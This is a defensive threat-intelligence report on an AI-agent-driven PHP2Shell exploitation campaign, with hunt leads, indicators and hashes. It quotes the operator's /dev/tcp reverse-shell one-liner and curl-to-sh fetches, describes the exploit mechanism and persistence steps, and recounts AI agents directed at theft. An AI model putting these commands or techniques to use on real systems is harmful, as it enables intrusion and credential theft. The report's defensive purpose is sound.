AI Agent Farm Turned PHP2Shell Into 404 Hacked Servers in Days
SOCRadar found an operator's open C2 and AI lab showing PHP2Shell exploited from disclosure day by a farm of AI agents: 595 servers attacked in 57 countries, 404 compromised and 9.5 GB of cloud keys, databases and code taken.
An operator wrote a working PHP2Shell exploit on the day the public proofs of concept landed and then handed the grind to a farm of AI agents. SOCRadar says it found the operator’s command server and AI lab wide open, and the files show 595 servers in 57 countries attacked through CVE-2026-109618 and CVE-2026-109619, 404 of them confirmed compromised and about 9.5 GB of loot taken: cloud keys, database dumps, source code and session files. The agents were also told to keep going “until a real payout is executed” against crypto platforms; SOCRadar found no completed theft.
For defenders
The bugs: CVE-2026-109618 and CVE-2026-109619 in PHP (CVSS 9.2 each, both in CISA KEV). Fixed in PHP 8.2.35, 8.3.36, 8.4.27 and 8.5.12. SOCRadar says the operator’s fork works against default settings (128M memory limit, display_errors off) under Apache mod_php or FrankenPHP, but fails under PHP-FPM. It sends a huge multipart POST that exhausts memory, then a second request on the same keep-alive connection that leaks addresses and calls system, T1190 (Exploit Public-Facing Application). Targets came from a Shodan pool of 68,198 PHP/Apache hosts.
The machine behind it: a home-built job queue (“maq”) ran 39 parallel AI workers on two self-hosted DeepSeek V4.1 models, feeding a Python C2 that opened one reverse-shell listener per victim on port 41000 plus the job number. SOCRadar calls it human-directed and AI-augmented; it didn’t confirm full autonomy. In an own goal, an AI worker ran the loot collector on the operator’s own lab and uploaded the snapshot to the public loot share.
After the shell: reverse shells back to the C2, T1059.004 (Command and Scripting Interpreter: Unix Shell); operator SSH keys, T1098.004 (Account Manipulation: SSH Authorized Keys); 60-second cron beacons, T1053.003 (Scheduled Task/Job: Cron); token-locked PHP web shells, T1505.003 (Server Software Component: Web Shell); and a loopback-only Dropbear with a reverse tunnel. Collectors swept .env files and git history with gitleaks and trufflehog, T1552.001 (Unsecured Credentials: Credentials In Files), and pulled ECS and IMDS role credentials, T1552.005 (Unsecured Credentials: Cloud Instance Metadata API). Most access was as www-data inside containers; only 12 hosts reached root.
206.245.153[.]56 (C2; tools and loot on :8088, payloads on :80, shells on 41000-49153)
157.180.96[.]7 (operator AI lab) ; 185.65.134[.]250 (exploit and SSH source)
fedora-42.servers[.]guru ; hxxps://s3.buckets[.]ninja/tmp/beacon.sh ; /tmp/.c<job> ; /tmp/j434.info ; /var/www/html/.p/
Dropbear listening on 127.0.0.1:2222 ; rogue auto_prepend_file directive
doc/thumb-<8 hex>.php?k=<token> ; ws/cron.php ; .j313b.sh ; .b1367.phpWhat it means for you
PHP runs a huge share of websites, from small business pages to customer portals. If someone else hosts your site on a managed plan, the host handles PHP updates; it’s still fair to ask them whether they’ve installed the October fixes. If you or your developer run your own server, this campaign shows what happens to unpatched ones: attackers don’t just deface the site, they quietly copy every password and cloud key stored on it.
Do this now
- Update PHP to 8.2.35, 8.3.36, 8.4.27 or 8.5.12 on every exposed server, then restart Apache and PHP-FPM so the new version is actually running.
- Check servers that were unpatched after Oct. 21 for the files and the loopback Dropbear listener listed above, and for SSH keys you didn’t add.
- If anything turns up, rebuild the server and rotate every secret it held: cloud keys, database passwords, app secrets and tokens.
- Require IMDSv2 on AWS and alert when a web server process asks the metadata service for credentials.
Source article: PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign
Publisher: SOCRadar Threat Research Unit (STRU)
Published: Nov. 18, 2026
URL: https://socradar.io/blog/php2shell-ai-agents-credential-harvesting/
Executive Summary
SOCRadar’s Threat Research Unit reconstructed a PHP2Shell (CVE-2026-109618 and CVE-2026-109619) exploitation campaign from two open directories: the operator’s Fedora VPS at 206.245.153[.]56, which served as C2, payload host and loot receiver, and the operator’s AI lab at 157.180.96[.]7 on Hetzner. No named actor matches; SOCRadar assesses with moderate confidence a financially motivated operator working in the initial-access-broker pattern, with low confidence in identity and English-only tooling. The operator wrote its first exploit on Oct. 21, 2026, the day public proofs of concept appeared, audited about 13 public PoC repositories on Oct. 23 and built a fork that works against default PHP/Apache settings under mod_php or FrankenPHP. Targets came from a Shodan pool of 68,198 PHP/Apache hosts; a self-built queue (maq) dispatched 39 omp AI workers backed by two self-hosted DeepSeek V4.1 endpoints, and a Python C2 tracked each victim, ran one socat reverse-shell listener per job on port 41000 plus the job ID and kept access alive with a root watchdog. After exploitation the operator fetched collectors and persistence kits from port 8088, installed SSH keys, per-minute cron beacons, token-authenticated PHP web shells, application backdoors (a Nextcloud app and a Laravel route-cache backdoor) and a loopback-only Dropbear service with a reverse tunnel, harvested secrets with gitleaks and trufflehog, dumped databases, stole ECS and IMDS role credentials and posted archives back to :8088/<job>/<name>.tgz. Across 595 attacked IPs in 57 countries, 404 hosts were confirmed compromised and about 290,000 files (9.5 GB) were taken; most access was unprivileged www-data inside containers and only 12 hosts reached root. A goal-driven agent track against crypto payment platforms reached withdrawal primitives without confirmed theft, while about 3.3 million user records were taken from an unauthenticated Redis instance. Hunt leads, false positive expectations and indicators are detailed below; no detection rules were published with the source.
ATT&CK chain: Reconnaissance → Initial Access → Execution → Persistence → Credential Access → Collection → Command and Control → Exfiltration
Hunt Lead Grid
| Hunt Lead Level | Hunt Lead Name | ATT&CK | Risk of False Positives |
|---|---|---|---|
| 1 (Junior) | PHP2Shell Operator Infrastructure and Persistence Artifact Sweep | T1105 (Ingress Tool Transfer), T1571 (Non-Standard Port), T1505.003 (Server Software Component: Web Shell) | Low. The three operator IPs, the job-numbered file names and the loopback Dropbear on port 2222 are specific to this operator; /tmp/beacon.sh is a generic name, so confirm by content before acting. |
| 2 (Pro) | Default-Config PHP2Shell Trigger Traffic | T1190 (Exploit Public-Facing Application) | Low. Legitimate uploads don’t carry more than 1,000 multipart fields with one part holding thousands of tiny header lines; the rule anchors on that shape plus an HTTP 500 and a second POST on the same keep-alive connection. |
| 3 (Elite) | Web Server Child to Reverse Shell, Key Drop and Metadata Theft | T1059.004 (Command and Scripting Interpreter: Unix Shell), T1098.004 (Account Manipulation: SSH Authorized Keys), T1053.003 (Scheduled Task/Job: Cron), T1552.005 (Unsecured Credentials: Cloud Instance Metadata API), T1041 (Exfiltration Over C2 Channel) | Medium. Some PHP applications legitimately shell out or call the metadata service; the correlation anchors on a web server child spawning an interactive shell or curl | sh, followed by an outbound connection to a high port and a write to authorized_keys or crontab. |
PHP2Shell Operator Infrastructure and Persistence Artifact Sweep
Every compromised host talked back to 206.245.153[.]56: reverse shells to ports 41000 to 49153 (one per job), payload scripts fetched from port 80 as /j<job>.sh and piped to sh, tools pulled over plain HTTP from :8088/tools/ (collect.sh, deep-loot.sh, persist2.sh, php-loot.php, j240_aws.php, j370_beacon.tgz) and :8088/x280.sh, and loot uploaded as POSTs to :8088/<job>/<name>.tgz answered with 201. The operator’s AI lab 157.180.96[.]7 was the client address in 19 victim jobs, and 185.65.134[.]250 sent exploit traffic and SSH logins in 70 jobs on Oct. 29 and 30. On victims, SOCRadar lists /tmp/beacon.sh (60-second reconnect loop), /tmp/.c<job> lock files, /tmp/j434.info, a /var/www/html/.p/ Dropbear staging directory with Dropbear on 127.0.0.1:2222 started through a rogue auto_prepend_file directive, web shells named doc/thumb-<8 hex>.php (a wrong token returns 404), ws/cron.php, .j313b.sh and .b1367.php, the Laravel backdoor token x7Q9m2, the collector success line UPLOAD=201 and collector bundles (meta.tsv, manifest.tsv) staged in /tmp. The detection is a retrospective sweep of firewall, NetFlow and proxy logs for the three IPs (especially 8088 and 41000 to 49153), and of web servers for those paths, the PHP configuration for unexpected auto_prepend_file values, listening sockets for a loopback Dropbear, and the SHA256 hashes in the appendix.
Use egress firewall and NetFlow first, because outbound connections from a web server to these addresses are near-certain compromise, then host checks via EDR or a scripted sweep of web servers and containers (ss -ltnp, a search of web roots for thumb-*.php, php -i plus each SAPI’s auto_prepend_file). Sweep back to Oct. 21, 2026, the first day of exploitation, and include container images and volumes, since 68 percent of jobs ran in Docker or Podman. Block the three IPs and the S3 endpoint across controls; they’re operator-owned. Don’t rely on web-shell file names alone, since the 8-hex suffix changes per host. Because the operator kept several redundant footholds per host, finding one means assuming the others exist: a hit warrants rebuilding the host and rotating every secret on it rather than deleting the artifact.
Hunt Lead Level: 1 (Junior Analyst)
ATT&CK: Command and Control → T1105 (Ingress Tool Transfer), T1571 (Non-Standard Port), T1572 (Protocol Tunneling) for the Dropbear reverse tunnel; Persistence → T1505.003 (Server Software Component: Web Shell) (mapping per source article)
Sources: “PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign”, SOCRadar, Nov. 18, 2026, https://socradar.io/blog/php2shell-ai-agents-credential-harvesting/ (source article)
Default-Config PHP2Shell Trigger Traffic
The operator’s exploit sends a multipart POST capped at about 8 MiB, within a few bytes of post_max_size, with an explicit Content-Length, more than 1,000 fields and one part holding an extreme number of tiny (about 5-byte) header lines, which exhausts the default 128M memory_limit and typically returns HTTP 500 with an X-Powered-By: PHP header. A second request on the same keep-alive connection, so it reaches the same prefork worker, abuses dangling session state to leak memory addresses through a Set-Cookie oracle and calls a forged HashTable destructor mapped to zif_system. SOCRadar flags a PHPSESSID Set-Cookie of about 4,096 bytes or exactly 16 bytes as a tell; on fixed builds the stage-1 leak drops from 4,096 to 32 bytes. On Nextcloud the POSTs went to /status.php, /cron.php and /public.php; 69 percent of targets were on HTTPS port 443. The detection logic for a WAF, reverse proxy or network sensor is a multipart POST with an unusually high part or header-line count and a body near the configured size limit, followed within seconds on the same TCP connection by a second POST, especially where the first got a 500 and the response carried an oversized PHPSESSID.
Implement it where request bodies are visible: a WAF or reverse proxy with request-body inspection, or Zeek or Suricata on decrypted traffic behind TLS termination. Web server access logs alone show only the POST, status and size, so pair them with a rule for two POSTs from one client to the same PHP endpoint within a second, the first returning 500. Sweep back to Oct. 21, 2026. Limiting multipart field and header counts and rate-limiting large POSTs at the web server or WAF is a reasonable mitigating control, as SOCRadar recommends, but it doesn’t replace the PHP update; treat PHP_SESSION_UPLOAD_PROGRESS filtering as secondary. Checking php -v at the command line is the wrong way to confirm patching, since the Apache module can lag; check the running SAPI. A match against a host still on a vulnerable build should be treated as likely compromise and handed to the first lead’s host sweep. The traffic shape applies to any actor using public PHP2Shell code, not just this one.
Hunt Lead Level: 2 (Pro)
ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application) (mapping per source article)
Sources: “PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign”, SOCRadar, Nov. 18, 2026 (source article)
Web Server Child to Reverse Shell, Key Drop and Metadata Theft
After the trigger, the injected command was a compact reverse shell guarded by a lock file, [ -e /tmp/.c<id> ] || { >/tmp/.c<id>; setsid bash -c 'bash -i >&/dev/tcp/206.245.153[.]56/<port> 0>&1' & }, sometimes split across echo and printf fragments, or a curl ... | sh of a per-job script. The C2’s bootstrap step then ran id, hostname, uname -a, a check for bash, curl, wget, base64, python3, php, crontab and sshd, and ss -ltn; persist appended a per-victim ed25519 key (comment c2-<label>-<id>) or the shared c2-agents key to ~/.ssh/authorized_keys, wrote /tmp/beacon.sh via base64 and added a per-minute cron line. Collectors then ran gitleaks and trufflehog across web roots and git history, optionally linPEAS, LSE or pspy, read ECS task-role credentials or IMDS role credentials and enumerated STS, S3, Secrets Manager, SSM and RDS, then tar-gzipped results into /tmp and POSTed them out in 32 MB chunks. The correlation to build is a process tree where the web server or PHP worker (apache2, httpd, frankenphp, or www-data-owned PHP) spawns sh, bash -i or curl, followed within minutes by any of: an outbound connection from that tree to a high port, a write to authorized_keys or a crontab for the web user, execution of gitleaks, trufflehog or linPEAS, a request from the web user to 169.254.169.254 or the ECS credentials endpoint, or an outbound POST of a .tgz.
Join EDR or auditd process events on Linux web hosts and containers (container runtime security tools cover the Docker cases) with egress firewall or NetFlow, file-integrity monitoring on authorized_keys and crontabs, and cloud audit logs (CloudTrail for STS GetCallerIdentity and S3, Secrets Manager, SSM or RDS enumeration from a web role, especially from an IP outside your VPC). Sweep back to Oct. 21, 2026. Baseline which applications legitimately spawn shells (image converters, mailers) by exact command line and allowlist those, never the parent process as a whole. Enforcing IMDSv2 and tightening task roles reduces what a shell can reach, but a web role used from outside the VPC is the cloud-side signal that keys already left. Revoking one key isn’t enough; SOCRadar found 49 AWS key IDs shared across jobs of a single estate. Any full chain is an incident: rebuild the host, rotate all its secrets and review cloud activity for the roles it held. This chain describes most post-exploitation of web servers and outlives this campaign.
Hunt Lead Level: 3 (Elite)
ATT&CK: Execution → T1059.004 (Command and Scripting Interpreter: Unix Shell); Persistence → T1098.004 (Account Manipulation: SSH Authorized Keys), T1053.003 (Scheduled Task/Job: Cron); Credential Access → T1552.005 (Unsecured Credentials: Cloud Instance Metadata API), T1552.001 (Unsecured Credentials: Credentials In Files); Defense Evasion → T1140 (Deobfuscate/Decode Files or Information); Exfiltration → T1041 (Exfiltration Over C2 Channel) (mapping per source article)
Sources: “PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign”, SOCRadar, Nov. 18, 2026 (source article)
Hash Appendix
PHP2Shell operator toolkit
SHA256 hashes are from the source article. SOCRadar published no MD5 or SHA1 values, and none were looked up in OTX AlienVault or VirusTotal for this report. The Dirty COW binary is a public exploit tool the operator staged, not custom malware.
MD5s
(not available) # exploit_default.py -> PHP2Shell exploit fork
(not available) # exploit_default_flen64.py -> PHP2Shell exploit fork, 64-byte forgery variant
(not available) # tools/collect.sh -> inventory and loot collector
(not available) # tools/deep-loot.sh -> deep secret scan
(not available) # j468/keep.sh (operator home copy) -> Dropbear persistence
(not available) # j468/keep.sh (tool-service copy) -> Dropbear persistence
(not available) # LD_PRELOAD shim (j468 home) -> persistence shim
(not available) # LD_PRELOAD shim (j468 tool service) -> persistence shim
(not available) # LD_PRELOAD shim (j485) -> persistence shim
(not available) # j370_beacon.tgz -> Nextcloud Beacon app backdoor
(not available) # j370_beacon.tgz (second copy) -> Nextcloud Beacon app backdoor
(not available) # tools/j364_hook.php -> web shell hook
(not available) # tools/j240_aws.php -> ECS credential helper
(not available) # x280.sh -> full payload
(not available) # tools/php-loot.php -> PHP loot collector
(not available) # recon.sh -> reconnaissance script
(not available) # j434_campaign.py -> j434 campaign driver
(not available) # j434.sh -> port-80 dropper, SSH key injection
(not available) # tools/j373c.sh -> operator tool script
(not available) # j474-watch.sh -> end-to-end playbook
(not available) # tools/cf.c (variant 1) -> Copy Fail C port
(not available) # tools/cf.c (variant 2) -> Copy Fail C port
(not available) # tools/j396_dirtyc0w -> public Dirty COW binary
SHA1s
(not available) # exploit_default.py -> PHP2Shell exploit fork
(not available) # exploit_default_flen64.py -> PHP2Shell exploit fork, 64-byte forgery variant
(not available) # tools/collect.sh -> inventory and loot collector
(not available) # tools/deep-loot.sh -> deep secret scan
(not available) # j468/keep.sh (operator home copy) -> Dropbear persistence
(not available) # j468/keep.sh (tool-service copy) -> Dropbear persistence
(not available) # LD_PRELOAD shim (j468 home) -> persistence shim
(not available) # LD_PRELOAD shim (j468 tool service) -> persistence shim
(not available) # LD_PRELOAD shim (j485) -> persistence shim
(not available) # j370_beacon.tgz -> Nextcloud Beacon app backdoor
(not available) # j370_beacon.tgz (second copy) -> Nextcloud Beacon app backdoor
(not available) # tools/j364_hook.php -> web shell hook
(not available) # tools/j240_aws.php -> ECS credential helper
(not available) # x280.sh -> full payload
(not available) # tools/php-loot.php -> PHP loot collector
(not available) # recon.sh -> reconnaissance script
(not available) # j434_campaign.py -> j434 campaign driver
(not available) # j434.sh -> port-80 dropper, SSH key injection
(not available) # tools/j373c.sh -> operator tool script
(not available) # j474-watch.sh -> end-to-end playbook
(not available) # tools/cf.c (variant 1) -> Copy Fail C port
(not available) # tools/cf.c (variant 2) -> Copy Fail C port
(not available) # tools/j396_dirtyc0w -> public Dirty COW binary
SHA256s
d01948e930848dd139915f646760e6dba61caf3eec222d5479518c19b5076ad2 # exploit_default.py -> PHP2Shell exploit fork
48df6ff05731bf735cb1914905191d01fcab59ffec5b002f73e235b2c021a267 # exploit_default_flen64.py -> PHP2Shell exploit fork, 64-byte forgery variant
484e92ae0ceaa888459d2ad5260274923c58d8e8db5a5ff244cf7f9f90f3a1da # tools/collect.sh -> inventory and loot collector
84f161021452e58ce65dec9fee14dd77f4968fe54d284c4059c373388a31f594 # tools/deep-loot.sh -> deep secret scan
7befbc027e31c32437d82f70096cd9edd96ec98e88c6b3139e7fe640d02fec41 # j468/keep.sh (operator home copy) -> Dropbear persistence
b889846842a168773a5b6382143792acd3a2310f5802d61f48805e1d38e6575b # j468/keep.sh (tool-service copy) -> Dropbear persistence
c2d898f29b4c6058ba2587fa7477bac546c838b72e48ad42e5e4fa11ab799ba9 # LD_PRELOAD shim (j468 home) -> persistence shim
1642c2de5949909d1470523337a0e50b844f26a1f018e6b6984a4ed815657d33 # LD_PRELOAD shim (j468 tool service) -> persistence shim
57617d2d8a1cd7da3614b4329929df0d2f4a26fbbd79a418ec8623e83decf14f # LD_PRELOAD shim (j485) -> persistence shim
93f8bcb90e608cdac0239d4218f31fb755357b056e862ce8b61df1026536d83d # j370_beacon.tgz -> Nextcloud Beacon app backdoor
7f1bd30c173af0e793f0a9a9ec44646131e8148fcb6fe64d00c06bf751a53d7d # j370_beacon.tgz (second copy) -> Nextcloud Beacon app backdoor
4712fe539da6b81329dfe25d1b0e38a04539a68fac58bd8f6a537807b3f15cf5 # tools/j364_hook.php -> web shell hook
88b5ed6aa763acf5d11119d4cb53d9601533ab35371a4f5cb932991b19bfdef0 # tools/j240_aws.php -> ECS credential helper
abaf7a73520ec77853d83ca1cd946a650291457b6303147cd6622fca5b8be39e # x280.sh -> full payload
452776d0507e33e71982b0f2d7f928b1f2d60f852195b1d9aac6a5d71c019060 # tools/php-loot.php -> PHP loot collector
c66a3a56f75ef8d9ce79c3cf012ad77c166be10e4d0264a56ed96e67e15b27c1 # recon.sh -> reconnaissance script
839f516d17cb0ebfdfa002f195299077198ec334f248b8084a954444ce3fbfdb # j434_campaign.py -> j434 campaign driver
3ae6c2d36edf2db4845db9f18e1ae865de4e784c9c807e6d89033bef21e284c5 # j434.sh -> port-80 dropper, SSH key injection
ad06f3a8fd168659a72cea4ee1b105575f38c485e741776b1b097f6a79e43eae # tools/j373c.sh -> operator tool script
6d10e9923374c2e11b6528a34f23356e3cb4aa5d2f11db35a35193550d0d2be3 # j474-watch.sh -> end-to-end playbook
c56e18a28fd7a3bf59891df955f6f03b009b85ed00c5ff8539b545250c004924 # tools/cf.c (variant 1) -> Copy Fail C port
d8d17dcc97bbcb9c40219fa157a77c50be1d4c0c80cbd57a8b3eda0fcc42d9a1 # tools/cf.c (variant 2) -> Copy Fail C port
d2a6102d7f94a44e9aa517e3b9c3656d790b31b74c399c78cd3a0305f987f968 # tools/j396_dirtyc0w -> public Dirty COW binary
References Appendix
- “PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign”, SOCRadar Threat Research Unit, Nov. 18, 2026, https://socradar.io/blog/php2shell-ai-agents-credential-harvesting/
CVE at a glance
- CVSS
- 9.2 Critical (v4.0)
- EPSS
- 100% chance of exploitation in the next 30 days (higher than 99.9% of CVEs)
- Exploited in the wild
- Yes, on CISA’s KEV list since Oct 26, 2026
- Public exploit
- Yes, reported in Exploit-DB, a Nuclei template and 788 GitHub repositories
- CVSS
- 9.2 Critical (v4.0)
- EPSS
- 100% chance of exploitation in the next 30 days (higher than 99.9% of CVEs)
- Exploited in the wild
- Yes, on CISA’s KEV list since Oct 26, 2026
- Public exploit
- Yes, reported in a Nuclei template and 30 GitHub repositories
Data from NVD, FIRST EPSS and CISA KEV, refreshed automatically. We report whether public exploit code exists but never link to it: fake proof-of-concepts that infect researchers are common.